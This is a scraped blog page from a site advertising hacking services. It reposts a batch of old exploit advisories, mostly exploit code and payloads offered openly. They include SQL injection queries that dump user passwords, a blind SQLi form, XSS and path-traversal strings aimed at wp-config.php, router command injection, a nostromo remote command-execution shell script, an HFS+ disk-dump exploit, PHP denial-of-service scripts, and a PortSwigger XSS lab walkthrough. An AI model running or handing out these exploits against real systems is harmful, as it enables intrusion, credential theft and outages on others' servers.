Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863119260

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Vulnerability title: SQL Injection in PBBoard CMS
CVE: CVE-2014-9215
CMS: PBBoard
Vendor: Power bulletin board - http://www.pbboard.info/
Product: http://sourceforge.net/projects/pbboard/files/PBBoard_v3.0.1/PBBoard_v3.0.1.zip/download
Affected version: Version 3.0.1 (updated on 13/09/2014) and before.
Fixed version: Version 3.0.1 (updated on 28/11/2014)
Google dork: intext:Powered By PBBoard
Reported by: Tran Dinh Tien - tien.d.tran@itas.vn 
Credits to ITAS Team - www.itas.vn


:: DESCRITION ::
 
Multiple SQL injection vulnerabilities has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker to access information such as username and password hashes that are stored in the database. The following URLs and parameters have been confirmed to suffer from SQL injection.

:: DETAILS :: Attack vector

Link 1: 

POST /index.php?page=register&checkemail=1 HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://server/index.php?page=register&index=1&agree=1
Content-Length: 29
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

email=<SQL Injection Here>&ajax=1


Link 2:

POST /index.php?page=forget&start=1 HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/index.php?page=forget&index=1
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

code=0ae4e&email=<SQL Injection Here>&submit_forget=Save


link 3: 

POST /index.php?page=forget&send_active_code=1 HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/index.php?page=forget&active_member=1&send_active_code=1
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

code=13709&email=<SQL Injection Here>&submit_active_code=Save


:: CODE DETAIL ::

- Vulnerable parameter:  email
- Vulnerable file:       includes/functions.class.php
- Vulnerable function:   CheckEmail($email)

- Vulnerable code: 
  function CheckEmail($email)
  {
    return preg_match('#^[a-z0-9.!\#$%&\'*+-/=?^_`{|}~]+@([0-9.]+|([^\s\'"<>@,;]+\.+[a-z]{2,6}))$#si', $email) ? true : false;
  }

- Fix code: 
    function CheckEmail($email)
      {
        // First, we check that there's one @ symbol, and that the lengths are right
        if (!preg_match("/^[^@]{1,64}@[^@]{1,255}$/", $email)) {
            // Email invalid because wrong number of characters in one section, or wrong number of @ symbols.
            return false;
        }

      if (@strstr($email,'"')
    or @strstr($email,"'")
    or @strstr($email,'>')
    or @strstr($email,'<')
    or @strstr($email,'*')
    or @strstr($email,'%')
    or @strstr($email,'$')
    or @strstr($email,'#')
    or @strstr($email,'+')
    or @strstr($email,'^')
    or @strstr($email,'&')
    or @strstr($email,',')
    or @strstr($email,'~')
    or @strstr($email,'!')
    or @strstr($email,'{')
    or @strstr($email,'}')
    or @strstr($email,'(')
    or @strstr($email,')')
    or @strstr($email,'/'))
        {
           return false;
        }
        // Split it into sections to make life easier
        $email_array = explode("@", $email);
        $local_array = explode(".", $email_array[0]);
        for ($i = 0; $i < sizeof($local_array); $i++) {
            if (!preg_match("/^(([A-Za-z0-9!#$%&'*+\/=?^_`{|}~-][A-Za-z0-9!#$%&'*+\/=?^_`{|}~\.-]{0,63})|(\"[^(\\|\")]{0,62}\"))$/", $local_array[$i])) {
                return false;
            }
        }
        if (!preg_match("/^\[?[0-9\.]+\]?$/", $email_array[1])) { // Check if domain is IP. If not, it should be valid domain name
            $domain_array = explode(".", $email_array[1]);
            if (sizeof($domain_array) < 2) {
                return false; // Not enough parts to domain
            }
            for ($i = 0; $i < sizeof($domain_array); $i++) {
                if (!preg_match("/^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|([A-Za-z0-9]+))$/", $domain_array[$i])) {
                    return false;
                }
            }
        }

        return true;
    }
  

  
:: SOLUTION ::
Version 3.0.1 (updated on 28/11/2014)

:: DISCLOSURE ::
- 11/27/2014: Inform the vendor
- 11/28/2014: Vendor confirmed
- 11/28/2014: Vendor releases patch
- 12/01/2014: ITAS Team publishes information

::COPYRIGHT::
Copyright (c) ITAS CORP 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of ITAS CORP (www.itas.vn).

:: DISCLAIMER ::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.

:: REFERENCE ::
- http://www.itas.vn/news/ITAS-Team-discovered-SQL-Injection-in-PBBoard-CMS-68.html
- https://www.youtube.com/watch?v=AQiGvH5xrJg
HireHackking 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

+------------------------------------------------------------------------------+
| Packet Storm Advisory 2014-1204-1                                            |
| http://packetstormsecurity.com/                                              |
+------------------------------------------------------------------------------+
| Title: Offset2lib: Bypassing Full ASLR On 64bit Linux                        |
+--------------------+---------------------------------------------------------+
| Release Date       | 2014/12/04                                              |
| Advisory Contact   | Packet Storm (advisories@packetstormsecurity.com)       |
| Researchers        | Hector Marco and Ismael Ripoll                          |
+--------------------+---------------------------------------------------------+
| System Affected    | 64 bit PIE Linux                                        |
| Classification     | 1-day                                                   |
+--------------------+---------------------------------------------------------+

+----------+
| OVERVIEW |
+----------+

The release of this advisory provides exploitation details in relation 
a weakness in the Linux ASLR implementation.  The problem appears when 
the executable is PIE compiled and it has an address leak belonging to 
the executable.

These details were obtained through the Packet Storm Bug Bounty program 
and are being released to the community.

+------------------------------------------------------------------------------+

+---------+
| DETAILS |
+---------+

An attacker is able to de-randomize all mmapped areas (libraries, mapped files, etc.) 
by knowing only an address belonging to the application and the offset2lib value.

+------------------------------------------------------------------------------+

+------------------+
| PROOF OF CONCEPT |
+------------------+

The proof of concept exploit code is available here:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35472.tgz
http://packetstormsecurity.com/files/129398

+------------------------------------------------------------------------------+

+---------------+
| RELATED LINKS |
+---------------+

http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html

+------------------------------------------------------------------------------+


+----------------+
| SHAMELESS PLUG |
+----------------+

The Packet Storm Bug Bounty program gives researchers the ability to profit 
from their discoveries.  You can get paid thousands of dollars for one day 
and zero day exploits.  Get involved by contacting us at 
getpaid@packetstormsecurity.com or visit the bug bounty page at: 

http://packetstormsecurity.com/bugbounty/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iEYEARECAAYFAlSBA04ACgkQrM7A8W0gTbG0jwCdH5CHOIDO9ELRcrPhQmf5FF4z
TgQAn2zuwadnWdMueC8gUQPT5gCmrQyp
=iegV
-----END PGP SIGNATURE-----
HireHackking 
source: https://www.securityfocus.com/bid/46896/info

AplikaMedia CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/page_info.php?id_brt=[Sql_injection]
HireHackking 
source: https://www.securityfocus.com/bid/46888/info

Wikiwig is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Wikiwig 5.01 is vulnerable; other versions may also be affected. 

http://www.example.com/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E
HireHackking 
source: https://www.securityfocus.com/bid/46887/info

Monkeyâ??s Audio is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows attackers to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will result in a denial-of-service condition.

#!/usr/bin/perl

###
# Title : Monkey's File Audio (All MPlayers) Buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : Windows 
# Impact : Overflow & Crash's
# Tested on : Windows XP SP3 Fran?ais 
# Target : All Media Players
###
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# ------------
# File Home : (http://www.monkeysaudio.com)
# Error's Detected : 
# Media Player Classic v6.4.9.1 [MonkeySource.ax !0x020451a6()!] >> http://1337day.com/exploits/15581  || By KedAns-Dz
# JetAudio v5.1.5.2 [JFACMDec.dll !0x02FA1BBD()!] >> http://packetstormsecurity.org/files/view/99200/jetaudio5152ape-overflow.txt  || By KedAns-Dz
# KMPlayer 2.9.3 [MACDec.dll !0x??????()!] >> http://packetstormsecurity.org/files/view/99190/kmplayerape-overflow.txt  || By KedAns-Dz 
# VLC media player v1.0.5 [axvlc.dll !0x??????()!] >> http://1337day.com/exploits/15595  || By KedAns-Dz
# QuickTime Player [Not Detected !!] ' Because Can not Read (APE) Files Format
# RealPlayer [Not Detected !!] ' Because Can not Read (APE) Files Format
# ------------
#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";                  
print "    |======================================================|\n";
print "    |= [!] Name : Monkey's File Audio (.ape) All Players  =|\n";
print "    |= [!] Exploit : Stack Buffer Overflow                =|\n";
print "    |= [!] Author : KedAns-Dz                             =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                 =|\n";
print "    |======================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $PoC = "\x4D\x41\x43\x20\x96\x0f\x00\x00\x34\x00\x00\x00\x18\x00\x00\x00"; # APE Header (16 bytes)
open(file , ">", "Kedans.ape"); # Evil File APE (4.0 KB)
print file $PoC;  
print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";
close(file);  

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# Special Greets to : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{
# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz * His0k4 * Dr.0rYX 
# Cr3w-DZ * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,
# [ Special Greets to 3 em EnGineering Electric Class , BACALORIA 2011 Enchallah 
# Messas Secondary School - Ain mlilla - 04300 - Algeria ] ,
# Greets All Bad Boys (cit? 1850 logts - HassiMessaouD - 30008 -Algeria ) ,
# hotturks.org : TeX * KadaVra ... all Others
# Kelvin.Xgr ( kelvinx.net)
#===========================================================================
HireHackking 
source: https://www.securityfocus.com/bid/46885/info

SugarCRM is prone to an information-disclosure vulnerability because it fails to restrict access to certain application data.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 


http://www.example.org/sugarcrm/index.php?module=Accounts&action=ShowDuplicates

http://www.example.org/sugarcrm/index.php?module=Contacts&action=ShowDuplicates
HireHackking 
source: https://www.securityfocus.com/bid/46880/info

nostromo nhttpd is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied data.

An attacker can exploit this issue to access arbitrary files and execute arbitrary commands with application-level privileges.

nostromo versions prior to 1.9.4 are affected.

#!/bin/sh
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt@redteam-pentesting.de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

if [ $# -lt 3 ]; then
    echo "Usage: $(basename $0) HOST PORT COMMAND..."
    exit 2
fi


HOST="$1"
PORT="$2"
shift 2

( \
    echo -n -e 'POST /..%2f..%2f..%2fbin/sh HTTP/1.0\r\n'; \
    echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
    echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
HireHackking 
source: https://www.securityfocus.com/bid/46868/info

VLC Media Player is prone to a denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

VLC Media Player 1.0.5 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl

###
# Title : VLC media player v1.0.5 (.ape) Local Crash PoC
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : Windows 
# Impact : VLC media player Just Crashed
# Tested on : Windows XP SP3 Fran�ais 
# Target : VLC media player v1.0.5
###
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# ------------
# Usage : 1 - Creat APE file ( Monkey's Audio Format )
#      =>    2 - Open APE file With VLC 1.0.5
#      =>    3 -  Crashed !!!
# ------------
#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";                  
print "    |===========================================================|\n";
print "    |= [!] Name : VLC media player v1.0.5 (Monkey's File)      =|\n";
print "    |= [!] Exploit : Local Crash PoC                           =|\n";
print "    |= [!] Author : KedAns-Dz                                  =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                      =|\n";
print "    |===========================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $PoC = "\x4D\x41\x43\x20\x96\x0f\x00\x00\x34\x00\x00\x00\x18\x00\x00\x00"; # APE Header
open(file , ">", "Kedans.ape"); # Evil File APE (16 bytes) 4.0 KB
print file $PoC;  
print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";
close(file);  

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# Special Greets to : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{
# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz * His0k4 * Dr.0rYX 
# Cr3w-DZ * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,
# [ Special Greets to '3em GE Class' & all 3Se Pupils , BACALORIA 2011 Enchallah 
# Messas Secondary School - Ain mlilla - 04300 - Algeria ] ,
# Greets All My Friends (cit� 1850 logts - HassiMessaouD - 30008 -Algeria ) ,
# ThanX : (hotturks.org) TeX * KadaVra ... all Muslimised Turkish Hackers .
# ThanX to : Kelvin.Xgr (kelvinx.net) Vietnamese Hacker .
#===============================================================================
HireHackking 
# Exploit Title: Advertise With Pleasure! (AWP) <= 6.6 - SQL Injection vulnerability
# Date: 12/02/2014
# Author: Robert Cooper (robertc[at]areyousecure.net)
# Software Link: http://www.guruperl.net/products/awppro/
# Tested on: [Linux/Windows 7]
# Vulnerable Parameter: group_id=
 
##############################################################

PoC:

http://server/cgi/client.cgi?act=list_zone&group_id=1'

http://server/cgi/client.cgi?act=list_zone&group_id=1 union all select 1,2,group_concat(id,0x3a,login,0x3a,password,0x0a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from awp_ad_client--
 
(Passwords are stored in plaintext) 

##############################################################

http://www.areyousecure.net
HireHackking 
source: https://www.securityfocus.com/bid/46864/info

Trend Micro WebReputation API is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass the filter included in the download mechanism. Successful exploits may cause victims to download malicious files onto affected computers.

This issue affects WebReputation API 10.5; other versions may also be vulnerable. 

 http://www.example.com/dist/nmap-5.51-setup.exe?
HireHackking 
Product: Wireless N ADSL 2/2+ Modem Router
Firmware Version : V2.05.C29GV
Modem Type : ADSL2+ Router
Modem Vendor : Technicolor
Model: DT5130

Bugs:
1- Unauth Xss - CVE-2014-9142
user=teste&password=teste&
userlevel=15&refer=%2Fnigga.html&failrefer=/basicauth.cgi?index.html?failrefer=<script></script><script>alert('TESTE')</script>"%0A&login=Login&password=pass&refer=/index.html&user=teste&userlevel=15&login=Login

2- Arbitrari URL redirect - CVE-2014-9143
failrefer=http://blog.dclabs.com.br&login=Login&password=
pass&refer=/index.html&user=1&userlevel=15

3- Command Injection in ping field - CVE-2014-9144
setobject_token=SESSION_CONTRACT_TOKEN_TAG%3D0123456789012345&setobject_ip=s1.3.6.1.4.1.283.1000.2.1.6.4.1.0%3Dwww.google.com.br|`id`&setobject_ping=i1.3.6.1.4.1.283.1000.2.1.6.4.2.0%3D1&getobject_result=IGNORE


-- 
Ewerson Guimaraes (Crash)
Pentester/Researcher
DcLabs / Ibliss  Security Team
www.dclabs.com.br / www.ibliss.com.br
HireHackking 
# Exploit Title: Wordpress CodeArt Google MP3 Player plugin - File
Disclosure Download

# Google Dork:
inurl:/wp-content/plugins/google-mp3-audio-player/direct_download.php?file=

# Date: 02/12/2014

# Exploit Author: QK14 Team

# Vendor Homepage: https://wordpress.org/plugins/google-mp3-audio-player/

# Software Link: https://wordpress.org/plugins/google-mp3-audio-player/

# Version: 1.0.11

# http://wordpressa.quantika14.com/repository/index.php?id=14

 

Descripci�n:

 

Este plugin es vulnerable a File Disclosure Download.

Gracias a esta vulnerabilidad, un usuario podr� descargar el archivo de
configuraci�n config.php y extraer de �l los datos de acceso a la Base de
Datos.

 

POF:

localhost/wordpress/wp-content/plugins/google-mp3-audio-player/direct_downlo
ad.php?file=../../../wp-config.php
HireHackking

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Stored XSS into HTML context with nothing encoded”.

image

Para resolver el laboratorio tenemos que ejecutar la función alert en un comentario de un post.

Cuando abrimos el laboratorio lo primero que tenemos que hacer es dirigirnos a un post cualquiera:

image 1

Dentro del post, encontramos lo siguiente:

image 2

Como podemos ver tenemos la opción de dejar un comentario, y distintos campos a rellenar.

Por lo que nosotros simplemente vamos a hacerle caso, y vamos a rellenar todos los campos, eso si, en el campo del comentario, colocaremos un pequeño código JavaScript que nos ejecute un alert:

image 3

Con todos los campos rellenados, simplemente enviamos el comentario y habremos resuelto el laboratorio:

image 4

Para ver que ha ocurrido, vamos a volver al post done hemos escrito nuestro comentario:

image 5
image 6

Y como vemos, al entrar en el post, se nos ejecuta el código que habíamos escrito en el campo de comentario. Acabamos de explotar un Stored XSS.

image 7

HireHackking 
# Exploit Title: Cart66 Lite WordPress Ecommerce 1.5.1.17 Blind SQL Injection
# Date: 29-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/cart66-lite.1.5.1.17.zip
# Category: webapps
  
1. Description
  
Cart66Ajax::shortcodeProductsTable() is accessible for every registered user.

$postId is not escaped correctly (only html tags are stripped).

File: cart66-lite\models\Cart66Ajax.php
public static function shortcodeProductsTable() {
    global $wpdb;
    $prices = array();
    $types = array();
    $postId = Cart66Common::postVal('id');
    $product = new Cart66Product();
    $products = $product->getModels("where id=$postId", "order by name");
    $data = array();
}

http://security.szurek.pl/cart66-lite-wordpress-ecommerce-15117-blind-sql-injection.html
  
2. Proof of Concept

Login as regular user (created using wp-login.php?action=register):

<form action="http://wordpress-install/wp-admin/admin-ajax.php" method="post">
    <input type="hidden" name="action" value="shortcode_products_table">
    Blind SQL Injection: <input type="text" name="id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM wp_users WHERE ID = 1) -- ">
    <input value="Hack" type="submit">
</form>

This SQL will check if first password character user ID=1 is $.

If yes, it will sleep 5 seconds.
  
3. Solution:
  
Update to version 1.5.2
https://wordpress.org/plugins/cart66-lite/changelog/
https://downloads.wordpress.org/plugin/cart66-lite.1.5.2.zip
HireHackking 
source: https://www.securityfocus.com/bid/46861/info
      
Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
      
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
      
http://www.example.com/rss/rss_top10.php?lang=[sqli]
HireHackking 
source: https://www.securityfocus.com/bid/46861/info
     
Pixie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
     
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
     
http://www.example.com/rss/rss_promo.php?lang=[sqli]
HireHackking 
// source: https://www.securityfocus.com/bid/46982/info

Apple Mac OS X is prone to a local information-disclosure vulnerability because of an integer-overflow error in the HFS subsystem.

A local attacker can exploit this issue to obtain sensitive information that may lead to further attacks. Due to the nature of this issue, local attackers may be able to execute arbitrary code in the context of the kernel, but this has not been confirmed.

Versions prior to OS X 10.6.7 are vulnerable.

NOTE: This issue was previously discussed in BID 46950 (Apple Mac OS X Prior to 10.6.7 Multiple Security Vulnerabilities) but has been given its own record to better document it. 

/*
 * Apple HFS+ F_READBOOTSTRAP Information Disclosure
 * by Dan Rosenberg of Virtual Security Research, LLC
 * @djrbliss on twitter
 *
 * Usage:
 * $ gcc hfs-dump.c -o hfs-dump
 * $ ./hfs-dump [size] [outfile]
 *
 * ----
 *
 * F_READBOOTSTRAP is an HFS+ fcntl designed to allow unprivileged callers to
 * retrieve the first 1024 bytes of the filesystem, which contains information
 * related to bootstrapping.
 *
 * However, due to an integer overflow in checking the requested range of
 * bytes, it is possible to retrieve arbitrary filesystem blocks, leading to an
 * information disclosure vulnerability.
 *
 * This issue was originally reported to Apple on July 1, 2010.  The fix was a
 * single line long and took more than 8 months to release.  No gold stars were
 * awarded.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <sys/mman.h>

int main(int argc, char * argv[])
{

	int fd, outfd, ret;
	long num;
	unsigned char * buf;
	struct fbootstraptransfer arg;

	if(argc != 3) {
		printf("[*] Usage: %s [size] [outfile]\n", argv[0]);
		return -1;
	}

	num = atol(argv[1]);

	outfd = open(argv[2], O_RDWR | O_CREAT, 0644);

	if(outfd < 0) {
		printf("[*] Failed to open output file.\n");
		return -1;
	}

	ftruncate(outfd, num);

	buf = (unsigned char *)mmap(NULL, num, PROT_READ | PROT_WRITE,
				    MAP_SHARED, outfd, 0);

	if(buf == MAP_FAILED) {
		printf("[*] Not enough memory.\n");
		return -1;
	}

	arg.fbt_buffer = buf;
	arg.fbt_offset = num * (-1);
	arg.fbt_length = num;
	
	fd = open("/", O_RDONLY);

	if(fd < 0) {
		printf("[*] Failed to open filesystem root.\n");
		return -1;
	}
	
	ret = fcntl(fd, F_READBOOTSTRAP, &arg);

	if(ret < 0) {
		printf("[*] fcntl failed.\n");
		return -1;
	}

	printf("[*] Successfully dumped %lu bytes to %s.\n", num, argv[2]);
	return 0;

}
HireHackking 
source: https://www.securityfocus.com/bid/46977/info
 
PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.
 
Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.
 
Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	$cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
	$dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');
	if ($dcr != $data.$i){
		print "at step $i decryption failed\n";
	}
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";
?>

fixes by add this code at line 4818 at the end of openssl_decrypt:
	EVP_CIPHER_CTX_cleanup(&cipher_ctx);


?>
HireHackking 
source: https://www.securityfocus.com/bid/46977/info

PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.

Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";

?>
HireHackking 
source: https://www.securityfocus.com/bid/46975/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php
$o = new ZipArchive();
if (! $o->open('test.zip',ZipArchive::CHECKCONS)) {
	exit ('error can\'t open');
}
$o->getStream('file2'); // this file is ok
echo "OK";
$r = $o->getStream('file1'); // this file has a wrong crc
while (! feof($r)) {
	fread($r,1024);
}
echo "never here\n";
?>
HireHackking 
source: https://www.securityfocus.com/bid/46969/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$target_file = 'META-INF/MANIFEST.MF';

$za = new ZipArchive();
if ($za->open('test.jar') !== TRUE)
{
    return FALSE;
}

if ($za->statName($target_file) !== FALSE)
{
    $fd = $za->getStream($target_file);
}
else
{
    $fd = FALSE;
}
$za->close();

if (is_resource($fd))
{
    echo strlen(stream_get_contents($fd));
}

?>
HireHackking 
source: https://www.securityfocus.com/bid/46962/info

PluggedOut Blog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PluggedOut Blog 1.9.9 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?year=<script>alert(88888)</script>
HireHackking 
source: https://www.securityfocus.com/bid/46968/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Intl' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

PHP versions prior to 5.3.6 are vulnerable.

numfmt_set_symbol(numfmt_create("en", NumberFormatter::PATTERN_DECIMAL), 2147483648, "")
HireHackking 
source: https://www.securityfocus.com/bid/46961/info

NewsPortal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

NewsPortal 0.37 is vulnerable; other versions may also be affected. 

http://www.example.com/post.php?newsgroups=<script>alert(28)</script>
HireHackking 
source: https://www.securityfocus.com/bid/46960/info

Online store php script is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

SQL Injection URIs:
====================

http://www.example.com/detail.php?prodid=[SQL]
http://www.example.com/view_wishlist.php?products_id=[SQL]
http://www.example.com/moreImage.php?prod_id=[SQL]
http://www.example.com/product2.php?loginn=confirmed&a=&b=&submit=+++Login+++.... [empty Query ]
http://www.example.com/products.php?cid=21&sid=558&skip=[SQL]
http://www.example.com/gstatus.php?code=[SQL]

Cross Site Scripting URIs:
==========================

http://www.example.com/detail.php?prodid=<script>alert(1)</script>
http://www.example.com/products.php?cid=21&sid=558&skip=<script>alert(1)</script>